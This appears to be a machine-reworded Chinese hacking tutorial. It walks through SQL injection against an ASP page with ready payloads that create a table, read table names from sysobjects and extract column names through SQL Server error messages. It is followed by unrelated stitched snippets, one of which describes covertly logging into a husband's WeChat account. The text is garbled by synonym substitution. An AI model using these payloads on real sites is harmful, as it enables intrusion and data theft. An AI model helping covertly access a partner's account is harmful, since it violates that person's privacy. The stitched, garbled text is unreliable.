人人在是否碰到过这样的站点:
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。
攻击方式:
查看源文件/看内里是否有通过 *** 来挪用的页面。
如挪用来更新文章的浏览次数。
我们就可以这样来试一下能否注入:
http://服务器域名/count.asp?id=1552’
看一下是否失足。如失足说明有注入破绽。然后正常攻击。
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯)
post.htm内容:主要是利便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条纪录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
aoc显示器怎么样(AOC Q27P2U评测)赶在年中大促前,AOC更新了自家的P系列显示器,全新P2系列产品依旧面向主流办公和一般设计用户,各种规格合计十多款,大面积覆盖办公、专业需求。AOC显示器...
备份迁徙恢复聊天记实 01 打开手机微信找到点击<我>,然后点击<设置>,进入下一步。 02 然后点击<聊天>选项。...
在保险市场中,车险公司全是根据委托人和艺人经纪人扩展业务流程与索赔,饰演裁判与选手的双向人物角色,免不了造成赔付纠纷案件,而保险公估人既可委托于保险公司,还可以委托于被保险人,但它不意味着保险公司,都...
世界八大奇迹是什么(世界八大奇迹最新排名) 世界八大奇迹其实只是在中国流传的说法,世界公认的只有七大。本期就为大家盘点了世界八大奇迹最新排名(建造时间顺序),分别是埃及胡夫金字塔、巴比伦空中花园、阿...
怎样悄悄的接纳老公手机微信不被他发觉(同歩另一方手机微信不被发觉) 登录老公手机微信,仅有在此外考虑到掌握另一方帐户用户名和密码、另一方未开启账 户维护、另一方手机微信处于退 出状况才有可能不被...
此刻越来越多的人对付美食毫无抵挡力,尤其是那些吃货们,面临美食的诱惑,都不禁愣住脚步体验一番,在浩瀚传统餐饮中,暖锅可以称得上是传统餐饮中的经典美食,发源于重庆,但连年来跟着商圈的扩大,各式百般的暖锅...